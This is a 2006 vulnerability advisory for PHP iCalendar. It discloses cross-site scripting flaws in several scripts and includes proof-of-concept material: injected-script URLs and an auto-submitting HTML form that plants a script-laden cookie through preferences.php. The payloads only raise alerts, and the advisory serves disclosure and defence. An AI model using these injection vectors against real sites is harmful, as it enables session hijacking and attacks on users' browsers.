phpicalendar-xss.txt
Posted on 28 December 2006
##################################################### PHP icalendar multiple variable cross site scripting Vendor url:http://phpicalendar.net/ Advisore:http://lostmon.blogspot.com/2006/12/ php-icalendar-multiple-variable-cross.html Vendor notify: YES Exploit included:YES ##################################################### PHP icalendar contains a flaw that allows a remote cross site scripting attack.This flaw exists because the application does not validate multiple params upon submission to multiple scripts. This could allow a user to create a specially crafted URL that would execute arbitrary code in a user's browser within the trust relationship between the browser and the server, leading to a loss of integrity. ###################### versions ###################### all of this versions have been tested Posible other versions are prone vulnerables. PHP iCalendar 2.23 rc1 PHP iCalendar 2.22 PHP icalendar 2.0 Beta PHP iCalendar 1.1 ###################### Solution: ###################### No solution was available at this time!! ################## Time Line ################## Discovered:20-12-2006 Vendor notify:25-12-2006 Vendor response: Disclosure:27-12-2006 ################### EXAMPLES & PoC ################### http://localhost/phpicalendar/day.php?cal=all_calendars_combined971 &getdate=20061225"><script>alert()</script> http://localhost/phpicalendar/month.php?cal=all_calendars_combined971 &getdate=20061225"><script>alert()</script> http://localhost/phpicalendar/year.php?cal=all_calendars_combined971 &getdate=20061225"><script>alert()</script> http://localhost/phpicalendar/week.php?cal=all_calendars_combined971 &getdate=20061225"><script>alert()</script> http://localhost/phpicalendar/day.php?cpath=%22%3E%3Cscript%3Edocument.write(document.domain)%3C/script%3E &getdate=20061225&cal%5B%5D=Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work http://localhost/phpicalendar/month.php?cpath=%22%3E%3Cscript%3Edocument.write(document.domain)%3C/script%3E &getdate=20061225&cal%5B%5D=Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work http://localhost/phpicalendar/year.php?cpath=%22%3E%3Cscript%3Edocument.write(document.domain)%3C/script%3E &getdate=20061225&cal%5B%5D=Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work http://localhost/phpicalendar/week.php?cpath=%22%3E%3Cscript%3Edocument.write(document.domain)%3C/script%3E &getdate=20061225&cal%5B%5D=Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work ---- http://localhost/phpicalendar/search.php?cpath=&cal=Home%2CUS%2BHolidays%2CWork &getdate=19700102&query=ss"><script>alert()</script>&submit.x=11&submit.y=15 http://localhost/phpicalendar/search.php?cpath="><script>alert()</script>&cal=Home %2CUS%2BHolidays%2CWork&getdate=19700102&query=ss&submit.x=11&submit.y=12 http://localhost/phpicalendar/search.php?cpath=&cal=Home%2CUS%2BHolidays%2CWork &getdate=19700102"><script>alert()</script>&query=ss&submit.x=11&submit.y=12 ---- http://localhost/phpicalendar/rss/index.php?cal=Home,US+Holidays,Work &getdate=20061225"><script>alert()</script> http://localhost/phpicalendar/print.php?cal=Home,US+Holidays,Work &getdate=20061225%22%3E%3Cscript%3Ealert()%3C/script%3E&printview=day ################################ Proof of concept for preferences ################################ Multiple param XSS in preferences.php Use the proof and modify some params create a evil cookie before submit :) http://localhost/phpicalendar/preferences.php?cal=Home,US+Holidays,Work &getdate=20061227%22%3E%3Cscript%3Ealert()%3C/script%3E <html> <head></head> <body> <title>PHP icalendar XSS in preferences.php PoC</title> <p><a href="http://phpicalendar.net/" target="_BLANK">PHP icalendar</a> <= 2.23 rc1 preferences.php XSS Proof Of concept By <a href="http://Lostmon.blogspot.com" target="_BLANK">Lostmon</a></p> <p>Modify the target host , by default http://localhost/</P> <br /><br /><form method='post' action='http://localhost/phpicalendar/preferences.php?action=setcookie'> cookie_language: <input input='text' value='Spanish' name='cookie_language' style='width: 80%' /><br> cookie_calendar: <input input='text' value='all_calendars_combined971' name='cookie_calendar' style='width: 80%' /><br> cpath: <input input='text' value='<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>' name='cpath' style='width: 80%' /><br> cookie_view: <input input='text' value='day' name='cookie_view' style='width: 80%' /><br> cookie_time: <input input='text' value='0700' name='cookie_time' style='width: 80%' /><br> cookie_startday: <input input='text' value='Sunday' name='cookie_startday' style='width: 80%' /><br> cookie_style: <input input='text' value='default' name='cookie_style' style='width: 80%' /><br> unset: <input input='text' value='<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>' name='unset' style='width: 80%' /><br> set: <input input='text' value='<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>' name='set' style='width: 80%' /><br> <input type='submit' value='submit' /><br> </form><hr /> <textarea style='width: 80%; height: 50%;'> <form method='post' action='http://localhost/phpicalendar/preferences.php?action=setcookie'> cookie_language: <input input='text' value='Spanish' name='cookie_language' style='width: 80%' /><br> cookie_calendar: <input input='text' value='all_calendars_combined971' name='cookie_calendar' style='width: 80%' /><br> cpath: <input input='text' value='<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>' name='cpath' style='width: 80%' /><br> cookie_view: <input input='text' value='day' name='cookie_view' style='width: 80%' /><br> cookie_time: <input input='text' value='0700' name='cookie_time' style='width: 80%' /><br> cookie_startday: <input input='text' value='Sunday' name='cookie_startday' style='width: 80%' /><br> cookie_style: <input input='text' value='default' name='cookie_style' style='width: 80%' /><br> unset: <input input='text' value='<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>' name='unset' style='width: 80%' /><br> set: <input input='text' value='<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>' name='set' style='width: 80%' /><br> <input type='submit' value='submit' /><br> </form> <script> document.forms[0].submit() </script> </textarea> </body> </html> ########################
